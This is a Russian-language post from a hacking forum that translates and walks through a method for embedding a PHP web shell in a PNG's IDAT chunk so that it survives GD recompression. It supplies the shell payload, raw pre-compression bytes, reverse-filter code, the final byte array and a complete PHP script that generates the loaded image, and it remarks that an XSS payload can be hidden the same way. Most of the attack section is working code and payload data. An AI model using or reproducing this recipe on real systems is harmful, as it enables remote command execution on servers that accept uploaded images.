• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Bulletproof PNG

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Bulletproof PNG

В продолжение предыдущего треда https://xss.pro/threads/28810/ , приведу частичный перевод и разбор подробностей статьи о том, как генерируются PNG файлы с нагрузкой. Сама статья доступна здесь: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Речь все также идет о пробросе PHP-нагрузки посредством изображения в условиях, когда на стороне сервера изображение может быть пережато библиотекой GD при сохранении. Статья, вероятно, не представляет слишком большого практического интереса, но:
а) завершает тему
и
б) кому-то может быть интересно посмотреть на устройство изображений изнутри. Туда и XSS пэйлоад вставить можно :)


Предварительно пара слов о том, почему для PNG это уже не так просто, как для JPEG. За хранение пикселей в этом формате отвечает сегмент (чанк в терминологии PNG) IDAT. Именно в него будет сохраняться нагрузка. При сохранении изображения в этом формате каждая строка предварительно фильтруется одним из пяти фильтров (http://www.libpng.org/pub/png/spec/1.2/PNG-Filters.html), а тип использованного фильтра записывается в ее начале (от 0x01 до 0x05), причем фильтр выбирается, исходя из соображений оптимальности, то есть разные строки могут проходить через разные фильтры. После фильтрации все строки сжимаются алгоритмом DEFLATE, в результате чего и формируется сегмент IDAT.
Получается, для того, чтобы сохранить веб-шелл в картинке, нужно преодолеть оба этих преобразования: и фильтрацию, и DEFLATE. Начинаем с конца, т.к. DEFLATE применяется последним.

Шаг 1. Сжатие.
Необходимо придумать строку, в результате сжатия которой получится нужный нам текст веб-шелла. Нам нужно, чтобы эта строка не содержала цепочек символов длины больше двух, которые бы повторялись. Иначе они будут подвержены сжатию. Чем строка короче, тем вероятность наличия совпадающих подстрок меньше, поэтому постараемся сохранить строку короткой. Например, такой:
Код:
<?=`$_GET[0]`;?>

(для тех, кто такую конструкцию не видел, или видел, но забыл: <?=$a;?> в php то же самое, что и <?php echo $a; ?> )

Мы ищем строчку, которая после сжатия даст нужную нам. Для этого вспомним, как отрабатывает DEFLATE. Сперва он ищет в строках повторения, а потом использует алгоритм Хаффмана для того, чтобы произвести непосредственно сжатие с точки зрения частоты встречающихся символов. И все бы ничего, но эта конкретная строчка оказывается неподходящей: алгоритм устроен таким образом, что ни при каком раскладе в сжатой строке не может оказаться конфигурации, где подряд идут символы "=`".

Автор статьи предлагает другую строчку:
Код:
<?=$_GET[0]($_POST[1]);?>

С ней не возникает таких проблем, как с предыдущей. В этом случае при выполнении кода нужно в качестве параметра GET запроса передать наименование функции, которую хотим выполнить, например, shell_exec, а в качестве параметра POST - саму команду, которую хотим в эту функцию передать.

Строчка, которая, будучи сжатой, дает нужный нам текст, оказалась еще и очень удобной: ее первый байт может варьироваться в диапазоне от 0x00 до 0x04. Это сыграет хорошую роль в следующих наших шагах при обходе фильтров формата PNG.

Код:
03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

Убедиться в том, что она действительно подходит, можно легко:

Код:
php > $a = gzdeflate(pack("H*", 'a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310'));
php > echo $a;
[<?=$_GET[0]($_POST[1]);?>X

Но, к сожалению, просто запихнуть эту строку в чанк IDAT будет недостаточно, поскольку перед тем, как применять DEFLATE, PNG сперва обрабатывает строки фильтрами.

Шаг 2. Фильтры.
В PNG используется пять разных типов фильтров. Для каждой строки во внутреннем представлении картинки может использоваться разный фильтр. Цель фильтра - подготовить картинку так, чтобы она сжималась наилучшим образом. Наша задача теперь в том, чтобы создать строчку, которая, даже проходя через фильтры, даст в результате строку из первого пункта.

Сгенерированная картинка будет содержать нагрузку только в одной строке, вся остальная информация, связанная непосредственно с картинкой, будет соответствовать просто набору черных пикселей, то есть все строки, кроме первой, будут одинаковыми и будут содержать константу, соответствующую черному цвету. Поскольку отличной от черного будет только одна строка, алгоритм будет выбирать для нее либо фильтр с номером 1, либо фильтр с номером три. Эти два фильтра для сжатия ориентируются на байты в рамках строки, в то время как другие - на соседей в строках выше или ниже. С подробностями работы фильтров можно ознакомиться в спецификации формата PNG. В рамках задачи фильтры легко оборачиваются:

Код:
// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
   $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3
for ($i = 0; $i < $s; $i++)
   $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

Чтобы обойти случайность в выборе фильтра, который будет использован алгоритмом, автор предлагает сделать следующее. Прогоним нужную нам строчку через функцию, обратную фильтру 3, прогоним ее же через функцию, обратную к фильтру 1, а затем конкатенируем две полученных строки. Именно результат этой процедуры пойдет в чанк IDAT. Выглядит он следующим образом (||| вставлены, чтобы визуально разделить конкатенированные строки):
Код:
0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc ||| 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33

Шаг 3. Построение изображения.
При построении RAW версии картинки важно иметь ввиду, что построенный выше пэйлоад рассчитан на небольшие изображения, около 40х40 пикселей (мы будем генерировать изображение 32 на 32). Важно также не забыть, что пэйлоад должен расположиться в самой первой строке изображения. Код получится следующий:
Код:
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, 'result.png'); ?>

В результате построения картинки, получится вот такая полоса в левом верхнем углу изображения:

6X1UjNf.png


А в хекс-редакторе будет видна нагрузка:

WVPbcgD.png



Пара ссылок на другие исследования по теме:
Нагрузка в GIF: https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif


(c) автор не я
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх